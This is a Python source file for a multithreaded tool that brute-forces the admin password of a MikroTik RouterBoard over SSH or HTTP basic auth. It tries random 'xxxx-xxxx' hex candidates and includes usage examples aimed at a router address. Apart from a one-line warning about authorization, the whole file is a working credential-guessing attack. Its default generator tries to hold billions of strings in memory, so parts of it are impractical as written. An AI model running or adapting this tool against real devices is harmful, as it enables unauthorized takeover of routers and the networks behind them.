"""
MikroTik RouterBoard Password Brute Force Tool

This tool attempts to find the admin password for a MikroTik device
by randomly generating and testing password combinations.

It tries all possible 4-byte hex combinations (in random order) which matches
the MikroTik password format "XXXX-XXXX".

USAGE: Only use on devices you own or have authorization to access.
Unauthorized access to computer systems is illegal.
"""

import socket
import sys
import time
import random
import string
from threading import Thread, Lock
import queue


class MikroTikBruteForce:
    """Brute force MikroTik RouterBoard passwords."""

    def __init__(self, host, port=22, timeout=5, use_http=False):
        """
        Initialize the brute force tool.

        Args:
            host (str): IP address of the device
            port (int): Port to connect to (22 for SSH, 80 for HTTP)
            timeout (int): Connection timeout in seconds
            use_http (bool): Use HTTP instead of SSH
        """
        self.host = host
        self.port = port
        self.timeout = timeout
        self.use_http = use_http
        self.username = "admin"
        self.found_password = None
        self.attempts = 0
        self.lock = Lock()

    def generate_random_passwords(self):
        """
        Generate all possible 4-byte hex passwords in random order.

        Yields passwords in the format "XXXX-XXXX" where X is a hex digit.
        This covers all 65,536^2 possible combinations (4,294,967,296 passwords).
        For practicality, we generate them randomly.

        Yields:
            str: A password in format "xxxx-xxxx"
        """
        # Generate all possible 4-hex-digit combinations
        hex_digits = string.hexdigits.lower()[:16]  # 0-9, a-f

        # Create all possible 8-digit hex strings
        all_combinations = []
        for i in range(0x10000):  # 65536 combinations for first 4 digits
            for j in range(0x10000):  # 65536 combinations for last 4 digits
                hex_str = f"{i:04x}{j:04x}"
                all_combinations.append(hex_str)

        # Randomize the order
        random.shuffle(all_combinations)

        for hex_str in all_combinations:
            yield f"{hex_str[:4]}-{hex_str[4:]}"

    def generate_streaming_random_passwords(self):
        """
        Generate random 4-byte hex passwords on-the-fly (infinite stream).

        This is more memory efficient for large-scale brute forcing.

        Yields:
            str: A password in format "xxxx-xxxx"
        """
        seen = set()
        while len(seen) < 0x100000000:  # 4,294,967,296 possible passwords
            # Generate random 8-digit hex string
            random_val1 = random.randint(0, 0xFFFF)
            random_val2 = random.randint(0, 0xFFFF)
            hex_str = f"{random_val1:04x}{random_val2:04x}"

            if hex_str not in seen:
                seen.add(hex_str)
                yield f"{hex_str[:4]}-{hex_str[4:]}"

    def try_password_ssh(self, password):
        """
        Try connecting with SSH.

        Args:
            password (str): Password to try

        Returns:
            bool: True if successful, False otherwise
        """
        try:
            import paramiko
        except ImportError:
            print("Error: paramiko not installed. Install with: pip install paramiko")
            return False

        try:
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            client.connect(
                self.host,
                port=self.port,
                username=self.username,
                password=password,
                timeout=self.timeout,
                allow_agent=False,
                look_for_keys=False,
            )
            client.close()
            return True
        except paramiko.AuthenticationException:
            return False
        except Exception:
            return False

    def try_password_http(self, password):
        """
        Try connecting via HTTP (WebFig).

        Args:
            password (str): Password to try

        Returns:
            bool: True if successful, False otherwise
        """
        try:
            import requests
            from requests.auth import HTTPBasicAuth
        except ImportError:
            print("Error: requests not installed. Install with: pip install requests")
            return False

        try:
            response = requests.get(
                f"http://{self.host}:{self.port}/",
                auth=HTTPBasicAuth(self.username, password),
                timeout=self.timeout,
            )
            return response.status_code == 200
        except Exception:
            return False

    def try_password(self, password):
        """Try a password using the configured method."""
        if self.use_http:
            return self.try_password_http(password)
        else:
            return self.try_password_ssh(password)

    def brute_force(self, num_threads=1, memory_efficient=False):
        """
        Brute force the password by trying random combinations.

        Args:
            num_threads (int): Number of concurrent threads to use
            memory_efficient (bool): Use streaming random generation (memory efficient)

        Returns:
            str: Password if found, None otherwise
        """
        print(f"[*] Starting brute force on {self.host}:{self.port}")
        print(f"[*] Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
        print(f"[*] Threads: {num_threads}")
        print(f"[*] Memory efficient: {memory_efficient}")
        print(f"[*] Trying random passwords in format 'xxxx-xxxx'")
        print()

        start_time = time.time()

        if memory_efficient:
            password_generator = self.generate_streaming_random_passwords()
        else:
            password_generator = self.generate_random_passwords()

        if num_threads == 1:
            return self._brute_force_single_thread(password_generator, start_time)
        else:
            return self._brute_force_multi_thread(password_generator, num_threads, start_time)

    def _brute_force_single_thread(self, password_generator, start_time):
        """Single-threaded brute force."""
        for password in password_generator:
            with self.lock:
                self.attempts += 1

            if self.attempts % 100 == 0:
                elapsed = time.time() - start_time
                rate = self.attempts / elapsed if elapsed > 0 else 0
                print(
                    f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
                    f"Elapsed: {elapsed:.1f}s - Last tried: {password}"
                )

            if self.try_password(password):
                elapsed = time.time() - start_time
                print()
                print(f"[+] SUCCESS! Found password: {password}")
                print(f"[+] Total attempts: {self.attempts}")
                print(f"[+] Time elapsed: {elapsed:.2f} seconds")
                print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
                return password

        print("[-] Brute force complete. Password not found.")
        return None

    def _brute_force_multi_thread(self, password_generator, num_threads, start_time):
        """Multi-threaded brute force."""
        password_queue = queue.Queue(maxsize=1000)
        result_queue = queue.Queue()

        # Producer thread
        def producer():
            for password in password_generator:
                if result_queue.empty():  # Stop if password found
                    password_queue.put(password)

        # Worker threads
        def worker():
            while True:
                try:
                    password = password_queue.get(timeout=1)
                except queue.Empty:
                    break

                with self.lock:
                    self.attempts += 1

                if self.attempts % 100 == 0:
                    elapsed = time.time() - start_time
                    rate = self.attempts / elapsed if elapsed > 0 else 0
                    print(
                        f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
                        f"Last tried: {password}"
                    )

                if self.try_password(password):
                    result_queue.put(password)
                    print()
                    print(f"[+] SUCCESS! Found password: {password}")
                    return

                password_queue.task_done()

        # Start threads
        producer_thread = Thread(target=producer, daemon=True)
        producer_thread.start()

        worker_threads = [Thread(target=worker, daemon=True) for _ in range(num_threads)]
        for thread in worker_threads:
            thread.start()

        # Wait for result or completion
        producer_thread.join(timeout=3600)
        for thread in worker_threads:
            thread.join(timeout=10)

        if not result_queue.empty():
            password = result_queue.get()
            elapsed = time.time() - start_time
            print(f"[+] Total attempts: {self.attempts}")
            print(f"[+] Time elapsed: {elapsed:.2f} seconds")
            print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
            return password

        print("[-] Brute force complete. Password not found.")
        return None


def main():
    """Main entry point."""
    print("MikroTik RouterBoard Password Brute Force Tool")
    print("=" * 55)
    print()
    print("⚠️  WARNING: Only use on devices you own or have authorization to access.")
    print()

    if len(sys.argv) < 2:
        print("Usage:")
        print("  python script.py <HOST> [OPTIONS]")
        print()
        print("Arguments:")
        print("  HOST                IP address of MikroTik device (e.g., 192.168.88.1)")
        print()
        print("Options:")
        print("  --port PORT         Port number (default: 22 for SSH, 80 for HTTP)")
        print("  --method METHOD     'ssh' or 'http' (default: ssh)")
        print("  --threads N         Number of concurrent threads (default: 1)")
        print("  --memory-efficient  Use streaming password generation (memory efficient)")
        print()
        print("Examples:")
        print("  python script.py 192.168.88.1")
        print("  python script.py 192.168.88.1 --port 22 --method ssh")
        print("  python script.py 192.168.88.1 --port 80 --method http --threads 4")
        print("  python script.py 192.168.88.1 --memory-efficient --threads 8")
        print()
        print("Password space: 65,536² = 4,294,967,296 possible 'xxxx-xxxx' passwords")
        sys.exit(1)

    host = sys.argv[1]
    port = 22
    method = "ssh"
    threads = 1
    memory_efficient = False

    # Parse options
    i = 2
    while i < len(sys.argv):
        if sys.argv[i] == "--port":
            port = int(sys.argv[i + 1])
            i += 2
        elif sys.argv[i] == "--method":
            method = sys.argv[i + 1].lower()
            i += 2
        elif sys.argv[i] == "--threads":
            threads = int(sys.argv[i + 1])
            i += 2
        elif sys.argv[i] == "--memory-efficient":
            memory_efficient = True
            i += 1
        else:
            print(f"Unknown option: {sys.argv[i]}")
            sys.exit(1)

    if method not in ["ssh", "http"]:
        print(f"Error: Method must be 'ssh' or 'http', not '{method}'")
        sys.exit(1)

    brute_forcer = MikroTikBruteForce(
        host, port=port, use_http=(method == "http")
    )
    brute_forcer.brute_force(num_threads=threads, memory_efficient=memory_efficient)


if __name__ == "__main__":
    main()

